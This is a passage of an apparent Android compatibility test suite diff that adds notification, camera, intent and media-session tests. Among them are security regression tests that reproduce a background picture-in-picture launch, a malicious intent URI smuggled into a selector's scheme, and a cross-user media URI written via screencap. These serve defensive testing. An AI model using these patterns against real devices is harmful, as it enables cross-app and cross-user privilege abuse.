+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setStyle(new Notification.DecoratedMediaCustomViewStyle()
+ .setRemotePlaybackInfo(deviceName, deviceIcon, deviceIntent))
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ StatusBarNotification sbn = findPostedNotification(id, false);
+ assertNotNull(sbn);
+
+ assertFalse(sbn.getNotification().extras
+ .containsKey(Notification.EXTRA_MEDIA_REMOTE_DEVICE));
+ assertFalse(sbn.getNotification().extras
+ .containsKey(Notification.EXTRA_MEDIA_REMOTE_ICON));
+ assertFalse(sbn.getNotification().extras
+ .containsKey(Notification.EXTRA_MEDIA_REMOTE_INTENT));
+ }
+
+ public void testCustomMediaStyleRemotePlayback_hasPermission() throws Exception {
+ int id = 99;
+ final String deviceName = "device name";
+ final int deviceIcon = 123;
+ final PendingIntent deviceIntent = getPendingIntent();
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setStyle(new Notification.DecoratedMediaCustomViewStyle()
+ .setRemotePlaybackInfo(deviceName, deviceIcon, deviceIntent))
+ .build();
+
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ mNotificationManager.notify(id, notification);
+ }, android.Manifest.permission.MEDIA_CONTENT_CONTROL);
+
+ StatusBarNotification sbn = findPostedNotification(id, false);
+ assertNotNull(sbn);
+ assertEquals(deviceName, sbn.getNotification().extras
+ .getString(Notification.EXTRA_MEDIA_REMOTE_DEVICE));
+ assertEquals(deviceIcon, sbn.getNotification().extras
+ .getInt(Notification.EXTRA_MEDIA_REMOTE_ICON));
+ assertEquals(deviceIntent, sbn.getNotification().extras
+ .getParcelable(Notification.EXTRA_MEDIA_REMOTE_INTENT));
+ }
+
public void testNoPermission() throws Exception {
int id = 7;
SystemUtil.runWithShellPermissionIdentity(
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index 2c88064..90b3bf3 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -27,7 +27,6 @@
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraDevice.StateCallback;
import android.hardware.camera2.CameraManager;
import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
import android.hardware.camera2.cts.CameraTestUtils.HandlerExecutor;
@@ -167,6 +166,15 @@
ids.length == 0 ||
mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY));
+ if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ // Camera placement on automotive device is different than usual front/back
+ // on mobile phones and use automotive.lens.facing instead. lens.facing is only used for
+ // external camera.testCameraManagerAutomotiveCameras ensures that lens.facing is only
+ // used for EXTERNAL camera. Hence, skipping this test for automotive implementations
+ Log.i(TAG, "Skip rest of the test on automotive device implementations");
+ return;
+ }
+
/**
* Test: that if the device has front or rear facing cameras, then there
* must be matched system features.
@@ -1043,15 +1051,23 @@
* android.automotive.lens.facing values
*/
Map<Pair<Integer, Integer>, ArrayList<String>> cameraGroup = new HashMap<>();
+ boolean externalCameraConnected = false;
for (String cameraId : cameraIds) {
CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId);
assertNotNull(
String.format("Can't get camera characteristics from: ID %s", cameraId), props);
Integer lensFacing = props.get(CameraCharacteristics.LENS_FACING);
- if (lensFacing != null && lensFacing == CameraCharacteristics.LENS_FACING_EXTERNAL) {
- // Automotive device implementations may have external cameras but they are exempted
- // from this test case.
+
+ if (lensFacing != null) {
+ // Automotive device implementations can use android.lens.facing
+ // only for external cameras
+ assertTrue("android.lens.facing should only be used for external cameras",
+ lensFacing == CameraCharacteristics.LENS_FACING_EXTERNAL);
+ // Test that there is matching feature flag
+ assertTrue("System doesn't have external camera feature",
+ mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL));
+ externalCameraConnected = true;
continue;
}
@@ -1082,6 +1098,13 @@
}
}
+ // Test an external camera is connected if FEATURE_CAMERA_EXTERNAL is advertised
+ if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL)) {
+ assertTrue("External camera is not connected on device with FEATURE_CAMERA_EXTERNAL",
+ externalCameraConnected);
+ }
+
+
for (Map.Entry<Pair<Integer, Integer>, ArrayList<String>> entry : cameraGroup.entrySet()) {
ArrayList<String> cameraIdsToVerify = entry.getValue();
if (cameraIdsToVerify.size() > 1) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
index d015959..d45b6c1 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
@@ -776,7 +776,8 @@
waiverKeys.add(CaptureResult.HOT_PIXEL_MODE);
}
- if (!staticInfo.isNoiseReductionModeControlSupported()) {
+ if (!staticInfo.isNoiseReductionModeControlSupported()
+ && staticInfo.getAvailableNoiseReductionModesChecked().length == 0) {
waiverKeys.add(CaptureResult.NOISE_REDUCTION_MODE);
}
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index 3ae7558..f0bd2c9 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -2413,7 +2413,16 @@
* @return {@code true} if noise reduction mode control is supported
*/
public boolean isNoiseReductionModeControlSupported() {
- return areKeysAvailable(CaptureRequest.NOISE_REDUCTION_MODE);
+ if (!areKeysAvailable(CaptureRequest.NOISE_REDUCTION_MODE)) {
+ return false;
+ }
+ int[] availableModes = getAvailableNoiseReductionModesChecked();
+ // Let's consider noise reduction is not supported if only "OFF" is reported.
+ if (availableModes.length == 1
+ && availableModes[0] == CaptureRequest.NOISE_REDUCTION_MODE_OFF) {
+ return false;
+ }
+ return true;
}
/**
diff --git a/tests/framework/base/localeconfig/Android.bp b/tests/framework/base/localeconfig/Android.bp
index 80b00f3..a0485a4 100644
--- a/tests/framework/base/localeconfig/Android.bp
+++ b/tests/framework/base/localeconfig/Android.bp
@@ -43,6 +43,7 @@
sdk_version: "test_current",
data: [
+ ":CtsMalformedInputTests",
":CtsNoLocaleConfigTagTests",
],
per_testcase_directory: true,
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml b/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
index b81595e..cab9aaa 100755
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/AndroidManifest.xml
@@ -51,6 +51,8 @@
<activity android:name=".PipActivity"
android:exported="true"
android:supportsPictureInPicture="true"/>
+ <activity android:name=".LaunchIntoPipActivity"
+ android:exported="true"/>
<activity android:name=".VirtualDisplayActivity"
android:exported="true"/>
<activity android:name=".WidgetConfigTestActivity"
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
index 06eef12..6a08376 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/Components.java
@@ -54,6 +54,9 @@
Components.class.getPackage().getName() + ".ACTION_LAUNCH_BACKGROUND_ACTIVITIES";
public static final String ACTION_FINISH_ACTIVITY =
Components.class.getPackage().getName() + ".ACTION_FINISH_ACTIVITY";
+
+ public static final String ACTION_LAUNCH_INTO_PIP =
+ Components.class.getPackage().getName() + ".ACTION_LAUNCH_INTO_PIP";
}
/** Extra key constants for {@link #APP_A_SEND_PENDING_INTENT_RECEIVER} */
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/LaunchIntoPipActivity.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/LaunchIntoPipActivity.java
new file mode 100644
index 0000000..abdc6e3
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/LaunchIntoPipActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.backgroundactivity.appa;
+
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.ACTION_LAUNCH_INTO_PIP;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.app.PictureInPictureParams;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+
+public class LaunchIntoPipActivity extends Activity {
+ private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ ActivityOptions options = ActivityOptions.makeLaunchIntoPip(
+ new PictureInPictureParams.Builder().build());
+ Intent pipIntent = new Intent(LaunchIntoPipActivity.this, BackgroundActivity.class);
+ startActivity(pipIntent, options.toBundle());
+ }
+ };
+
+ @Override
+ public void onCreate(Bundle bundle) {
+ super.onCreate(bundle);
+
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(ACTION_LAUNCH_INTO_PIP);
+ registerReceiver(mReceiver, filter, Context.RECEIVER_EXPORTED);
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ unregisterReceiver(mReceiver);
+ }
+}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 3028ffb..d47d2f8 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -18,6 +18,8 @@
import static android.app.AppOpsManager.MODE_ALLOWED;
import static android.app.AppOpsManager.MODE_ERRORED;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
import static android.server.wm.UiDeviceUtils.pressHomeButton;
import static android.server.wm.WindowManagerState.STATE_INITIALIZING;
import static android.server.wm.backgroundactivity.appa.Components.APP_A_BACKGROUND_ACTIVITY;
@@ -29,6 +31,7 @@
import static android.server.wm.backgroundactivity.appa.Components.APP_A_START_ACTIVITY_RECEIVER;
import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.ACTION_FINISH_ACTIVITY;
import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.ACTION_LAUNCH_BACKGROUND_ACTIVITIES;
+import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.ACTION_LAUNCH_INTO_PIP;
import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_BACKGROUND_ACTIVITY_EXTRA;
import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_INTENTS_EXTRA;
import static android.server.wm.backgroundactivity.appa.Components.ForegroundActivity.LAUNCH_SECOND_BACKGROUND_ACTIVITY_EXTRA;
@@ -71,6 +74,7 @@
import android.os.ResultReceiver;
import android.os.SystemProperties;
import android.os.UserManager;
+import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.Presubmit;
import android.platform.test.annotations.SystemUserOnly;
import android.server.wm.backgroundactivity.appa.IBackgroundActivityTestService;
@@ -125,6 +129,9 @@
public static final ComponentName APP_A_PIP_ACTIVITY =
new ComponentName(TEST_PACKAGE_APP_A,
"android.server.wm.backgroundactivity.appa.PipActivity");
+ public static final ComponentName APP_A_LAUNCH_INTO_PIP_ACTIVITY =
+ new ComponentName(TEST_PACKAGE_APP_A,
+ "android.server.wm.backgroundactivity.appa.LaunchIntoPipActivity");
public static final ComponentName APP_A_VIRTUAL_DISPLAY_ACTIVITY =
new ComponentName(TEST_PACKAGE_APP_A,
"android.server.wm.backgroundactivity.appa.VirtualDisplayActivity");
@@ -664,6 +671,29 @@
assertActivityNotResumed();
}
+ @Test
+ @AsbSecurityTest(cveBugId = 271576718)
+ public void testPipCannotStartFromBackground() throws Exception {
+ Intent intent = new Intent();
+ intent.setComponent(APP_A_LAUNCH_INTO_PIP_ACTIVITY);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ boolean result = waitForActivityFocused(APP_A_LAUNCH_INTO_PIP_ACTIVITY);
+ assertTrue("Should not able to launch background activity", result);
+
+ pressHomeAndWaitHomeResumed();
+ result = waitForActivityFocused(APP_A_LAUNCH_INTO_PIP_ACTIVITY);
+ assertFalse("Activity should be in background", result);
+
+ Intent broadcast = new Intent(ACTION_LAUNCH_INTO_PIP);
+ mContext.sendBroadcast(broadcast);
+ result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
+ assertFalse("Should not able to launch LaunchIntoPip activity", result);
+
+ assertPinnedStackDoesNotExist();
+ }
+
// Check that a presentation on a virtual display won't allow BAL after pressing home.
@Test
public void testVirtualDisplayCannotStartAfterHomeButton() throws Exception {
@@ -881,6 +911,11 @@
}
}
+ private void assertPinnedStackDoesNotExist() {
+ mWmState.assertDoesNotContainStack("Must not contain pinned stack.",
+ WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+ }
+
private boolean waitForActivityFocused(ComponentName componentName) {
return waitForActivityFocused(ACTIVITY_FOCUS_TIMEOUT_MS, componentName);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
index 6ec900c..ed2d610 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
@@ -55,6 +55,8 @@
import android.server.wm.CommandSession.ActivitySession;
import android.server.wm.intent.Activities;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.Test;
import java.util.Arrays;
@@ -208,13 +210,25 @@
* activity because the caller C in different uid cannot launch a non-exported activity.
*/
@Test
+ @ApiTest(apis = {"android.app.Activity#navigateUpTo"})
public void testStartActivityByNavigateUpToFromDiffUid() {
- final Intent intent1 = new Intent(mContext, Activities.RegularActivity.class);
+ final Intent rootIntent = new Intent(mContext, Activities.RegularActivity.class);
final String regularActivityName = Activities.RegularActivity.class.getName();
final TestActivitySession<Activities.RegularActivity> activitySession1 =
createManagedTestActivitySession();
- activitySession1.launchTestActivityOnDisplaySync(regularActivityName, intent1,
+ activitySession1.launchTestActivityOnDisplaySync(regularActivityName, rootIntent,
DEFAULT_DISPLAY);
+
+ final Intent navIntent = new Intent(mContext, Activities.RegularActivity.class);
+ verifyNavigateUpTo(activitySession1, navIntent);
+
+ navIntent.addFlags(FLAG_ACTIVITY_CLEAR_TOP);
+ verifyNavigateUpTo(activitySession1, navIntent);
+ assertFalse("#onNewIntent cannot be called",
+ activitySession1.getActivity().mIsOnNewIntentCalled);
+ }
+
+ private void verifyNavigateUpTo(TestActivitySession rootActivitySession, Intent navIntent) {
final TestActivitySession<Activities.SingleTopActivity> activitySession2 =
createManagedTestActivitySession();
activitySession2.launchTestActivityOnDisplaySync(Activities.SingleTopActivity.class,
@@ -232,14 +246,14 @@
});
final Bundle data = new Bundle();
- data.putParcelable(EXTRA_INTENT, intent1);
+ data.putParcelable(EXTRA_INTENT, navIntent);
activitySession3.sendCommand(COMMAND_NAVIGATE_UP_TO, data);
- waitAndAssertTopResumedActivity(intent1.getComponent(), DEFAULT_DISPLAY,
- "navigateUpTo should return to the first activity");
+ waitAndAssertTopResumedActivity(rootActivitySession.getActivity().getComponentName(),
+ DEFAULT_DISPLAY, "navigateUpTo should return to the first activity");
// Make sure the resumed first activity is the original instance.
assertFalse("The target of navigateUpTo should not be destroyed",
- activitySession1.getActivity().isDestroyed());
+ rootActivitySession.getActivity().isDestroyed());
// The activities above the first one should be destroyed.
mWmState.waitAndAssertActivityRemoved(
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
index 5dc7ffe..208d94f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
@@ -17,6 +17,7 @@
package android.server.wm.intent;
import android.app.Activity;
+import android.content.Intent;
import android.os.Bundle;
/**
@@ -40,6 +41,13 @@
}
public static class RegularActivity extends BaseActivity {
+ public boolean mIsOnNewIntentCalled = false;
+
+ @Override
+ protected void onNewIntent(Intent intent) {
+ super.onNewIntent(intent);
+ mIsOnNewIntentCalled = true;
+ }
}
public static class SingleTopActivity extends BaseActivity {
diff --git a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
index 155161a..1e44a00 100644
--- a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
@@ -29,7 +29,6 @@
import androidx.test.filters.SmallTest;
import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
import org.junit.Assume;
import org.junit.Test;
@@ -306,13 +305,6 @@
mCodec.release();
return;
}
- /* TODO(b/181126614, b/268175825) */
- if (MediaUtils.isPc()) {
- Log.d(LOG_TAG, "test skipped due to b/181126614, b/268175825");
- mCodec.release();
- return;
- }
-
String log = String.format("format: %s \n codec: %s:: ", mConfigFormat, mCodecName);
File tmpFile;
int muxerFormat;
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 1f532a4..0f93e4b 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -2034,6 +2034,13 @@
assertEquals("Unexpected number of activity resumes", 1, resumes);
assertEquals("Unexpected number of activity pauses", 1, pauses);
assertEquals("Unexpected number of activity stops", 0, stops);
+
+ final Map<String, UsageStats> map = mUsageStatsManager.queryAndAggregateUsageStats(
+ startTime, endTime);
+ final UsageStats stats = map.get(TEST_APP2_PKG);
+ assertNotNull(stats);
+ final long totalTimeVisible = stats.getTotalTimeVisible();
+ assertLessThan(0, totalTimeVisible);
}
@AppModeFull(reason = "No usage events access in instant apps")
diff --git a/tests/tests/content/src/android/content/cts/IntentTest.java b/tests/tests/content/src/android/content/cts/IntentTest.java
index dcd2fe6..232fd44 100644
--- a/tests/tests/content/src/android/content/cts/IntentTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentTest.java
@@ -16,6 +16,8 @@
package android.content.cts;
+import static com.google.common.truth.Truth.assertThat;
+
import static org.junit.Assert.assertArrayEquals;
import android.content.ComponentName;
@@ -1938,6 +1940,49 @@
mIntent.setExtrasClassLoader(getClass().getClassLoader());
}
+ public void testEncoding() throws URISyntaxException {
+ // This doesn't validate setPackage, as it's not possible to have both an explicit package
+ // and a selector but the inner selector Intent later on will cover setPackage
+ Intent intent = new Intent("action#base")
+ .setClassName("com.example.test.app", "com.example.test.app.IntendedActivity")
+ .addCategory("category#base")
+ .setType("type#base")
+ .setIdentifier("identifier#base")
+ .setComponent(ComponentName.createRelative("package.sub#base", ".Class#Base"))
+ .putExtra("extraKey#base", "extraValue#base");
+
+ // Insert malicious scheme to be encoded to avoid deserialization errors (b/261858325)
+ Uri badUri = Uri.fromParts(new Intent()
+ .setClassName("com.example.malicious.app",
+ "com.example.malicious.app.MaliciousActivity")
+ .toUri(Intent.URI_INTENT_SCHEME),
+ "", null);
+ Intent selectorIntent = new Intent().setData(badUri)
+ .addCategory("category#selector")
+ .setType("type#selector")
+ .setIdentifier("identifier#selector")
+ .setPackage("package#selector")
+ .setComponent(
+ ComponentName.createRelative("package.sub#selector", ".Class#Selector"))
+ .putExtra("extraKey#selector", "extraValue#selector");
+ intent.setSelector(selectorIntent);
+
+ String uriString = intent.toUri(Intent.URI_INTENT_SCHEME);
+ Intent deserialized = Intent.parseUri(uriString, Intent.URI_INTENT_SCHEME);
+
+ assertThat(uriString).isEqualTo(
+ "intent:#Intent;action=action%23base;category=category%23base;type=type%23base;"
+ + "identifier=identifier%23base;component=package.sub%23base/"
+ + ".Class%23Base;S.extraKey%23base=extraValue%23base;SEL;"
+ + "category=category%23selector;type=type%23selector;"
+ + "identifier=identifier%23selector;package=package%23selector;"
+ + "component=package.sub%23selector/.Class%23Selector;S"
+ + ".extraKey%23selector=extraValue%23selector;end");
+
+ assertThat(deserialized.toInsecureString())
+ .isEqualTo(intent.toInsecureString());
+ }
+
private static class TestSerializable implements Serializable {
static final long serialVersionUID = 1l;
public String Name;
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 97bd229..ae0ff13 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -103,6 +103,7 @@
import androidx.test.rule.ServiceTestRule;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.CtsDownstreamingTest;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.TestUtils;
@@ -313,9 +314,7 @@
}
// Disable the test due to feature revert
- @org.junit.Ignore
- @Test
- public void testEnforceIntentToMatchIntentFilter() {
+ private void testEnforceIntentToMatchIntentFilter() {
Intent intent = new Intent();
List<ResolveInfo> results;
@@ -509,6 +508,54 @@
assertEquals(0, results.size());
}
+ @Test
+ @CtsDownstreamingTest
+ public void testRevertEnforceIntentToMatchIntentFilter() {
+ Intent intent = new Intent();
+ List<ResolveInfo> results;
+ ComponentName comp;
+
+ /* Component explicit intent tests */
+
+ // Explicit intents with non-matching intent filter on target T+
+ intent.setAction(NON_EXISTENT_ACTION_NAME);
+ comp = new ComponentName(INTENT_RESOLUTION_TEST_PKG_NAME, ACTIVITY_NAME);
+ intent.setComponent(comp);
+ results = mPackageManager.queryIntentActivities(intent,
+ PackageManager.ResolveInfoFlags.of(0));
+ assertEquals(1, results.size());
+ comp = new ComponentName(INTENT_RESOLUTION_TEST_PKG_NAME, SERVICE_NAME);
+ intent.setComponent(comp);
+ results = mPackageManager.queryIntentServices(intent,
+ PackageManager.ResolveInfoFlags.of(0));
+ assertEquals(1, results.size());
+ comp = new ComponentName(INTENT_RESOLUTION_TEST_PKG_NAME, RECEIVER_NAME);
+ intent.setComponent(comp);
+ results = mPackageManager.queryBroadcastReceivers(intent,
+ PackageManager.ResolveInfoFlags.of(0));
+ assertEquals(1, results.size());
+
+ /* Intent selector tests */
+
+ Intent selector = new Intent();
+ selector.setPackage(INTENT_RESOLUTION_TEST_PKG_NAME);
+ intent = new Intent();
+ intent.setSelector(selector);
+
+ // Non-matching intent and matching selector
+ selector.setAction(SELECTOR_ACTION_NAME);
+ intent.setAction(NON_EXISTENT_ACTION_NAME);
+ results = mPackageManager.queryIntentActivities(intent,
+ PackageManager.ResolveInfoFlags.of(0));
+ assertEquals(1, results.size());
+ results = mPackageManager.queryIntentServices(intent,
+ PackageManager.ResolveInfoFlags.of(0));
+ assertEquals(1, results.size());
+ results = mPackageManager.queryBroadcastReceivers(intent,
+ PackageManager.ResolveInfoFlags.of(0));
+ assertEquals(1, results.size());
+ }
+
private void checkActivityInfoName(String expectedName, List<ResolveInfo> resolves) {
// Flag for checking if the name is contained in list array.
boolean isContained = false;
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionTest.java
index 6edadaa..b1a5b25 100644
--- a/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionTest.java
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaSessionTest.java
@@ -25,6 +25,9 @@
import static android.media.misc.cts.MediaSessionTestService.TEST_SERIES_OF_SET_QUEUE;
import static android.media.misc.cts.MediaSessionTestService.TEST_SET_QUEUE;
import static android.media.cts.Utils.compareRemoteUserInfo;
+import static android.os.UserManager.USER_TYPE_PROFILE_CLONE;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
import android.app.PendingIntent;
import android.content.ComponentName;
@@ -50,14 +53,18 @@
import android.os.Looper;
import android.os.Parcel;
import android.os.Process;
+import android.os.UserManager;
import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import android.text.TextUtils;
import android.view.KeyEvent;
+import androidx.test.platform.app.InstrumentationRegistry;
+
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
+import java.util.Optional;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -79,6 +86,7 @@
private static final long TEST_QUEUE_ID = 12L;
private static final long TEST_ACTION = 55L;
private static final int TEST_TOO_MANY_SESSION_COUNT = 1000;
+ private static final boolean SUPPORTS_MULTIPLE_USERS = UserManager.supportsMultipleUsers();
private AudioManager mAudioManager;
private Handler mHandler = new Handler(Looper.getMainLooper());
@@ -86,6 +94,7 @@
private MediaControllerCallback mCallback = new MediaControllerCallback();
private MediaSession mSession;
private RemoteUserInfo mKeyDispatcherInfo;
+ private Optional<Integer> mCloneProfileId = Optional.empty();
@Override
protected void setUp() throws Exception {
@@ -103,9 +112,48 @@
mSession.release();
mSession = null;
}
+ removeCloneProfile();
super.tearDown();
}
+ private void createCloneProfile() {
+ if (!SUPPORTS_MULTIPLE_USERS) {
+ return;
+ }
+
+ InstrumentationRegistry
+ .getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+ UserManager userManager = mContext.getSystemService(UserManager.class);
+ boolean isCloneProfileEnabled = userManager.isUserTypeEnabled(USER_TYPE_PROFILE_CLONE);
+ InstrumentationRegistry
+ .getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+ if (!isCloneProfileEnabled) {
+ return;
+ }
+
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final String output = runShellCommand(
+ "pm create-user --user-type android.os.usertype.profile.CLONE --profileOf "
+ + context.getUserId() + " user2");
+
+ // On a successful run the output will be like
+ // Success: created user id 11
+ // Hence we use the last index of " " to fetch the cloned profile id.
+ int userIdIndex = output.lastIndexOf(" ");
+ if (userIdIndex != -1) {
+ mCloneProfileId = Optional.of(
+ Integer.parseInt(output.substring(userIdIndex).trim()));
+ }
+ }
+
+ private void removeCloneProfile() {
+ mCloneProfileId.ifPresent(cloneProfileId -> {
+ runShellCommand("am stop-user -w -f " + cloneProfileId);
+ runShellCommand("pm remove-user " + cloneProfileId);
+ mCloneProfileId = Optional.empty();
+ });
+ }
+
/**
* Tests that a session can be created and that all the fields are
* initialized correctly.
@@ -307,6 +355,65 @@
}
}
+ public void testSetMediaSession_withInaccessibleUri_uriCleared() throws Exception {
+ createCloneProfile();
+ if (!mCloneProfileId.isPresent()) {
+ return;
+ }
+ String testMediaUri =
+ "content://" + mCloneProfileId.get() + "@media/external/images/media/";
+ // Save a screenshot in second user files.
+ runShellCommand("screencap -p " + testMediaUri);
+
+ MediaController controller = mSession.getController();
+ controller.registerCallback(mCallback, mHandler);
+ final MediaController.Callback callback = mCallback;
+
+ synchronized (mWaitLock) {
+ // test setMetadata
+ mCallback.resetLocked();
+ MediaMetadata metadata =
+ new MediaMetadata.Builder().putString(MediaMetadata.METADATA_KEY_ART_URI,
+ testMediaUri).build();
+ mSession.setMetadata(metadata);
+ mWaitLock.wait(TIME_OUT_MS);
+
+ assertTrue(mCallback.mOnMetadataChangedCalled);
+ // just call the callback once directly so it's marked as tested
+ callback.onMetadataChanged(mCallback.mMediaMetadata);
+
+ MediaMetadata metadataOut = mCallback.mMediaMetadata;
+ assertNotNull(metadataOut);
+ assertTrue(TextUtils.isEmpty(
+ metadataOut.getString(MediaMetadata.METADATA_KEY_ART_URI)));
+ }
+ }
+
+ public void testSetMediaSession_withUri_uriExists() throws Exception {
+ String testMediaUri = "content://media/external/images/media/";
+ MediaController controller = mSession.getController();
+ controller.registerCallback(mCallback, mHandler);
+ final MediaController.Callback callback = mCallback;
+
+ synchronized (mWaitLock) {
+ // test setMetadata
+ mCallback.resetLocked();
+ MediaMetadata metadata =
+ new MediaMetadata.Builder().putString(MediaMetadata.METADATA_KEY_ART_URI,
+ testMediaUri).build();
+ mSession.setMetadata(metadata);
+ mWaitLock.wait(TIME_OUT_MS);
+
+ assertTrue(mCallback.mOnMetadataChangedCalled);
+ // just call the callback once directly so it's marked as tested
+ callback.onMetadataChanged(mCallback.mMediaMetadata);
+
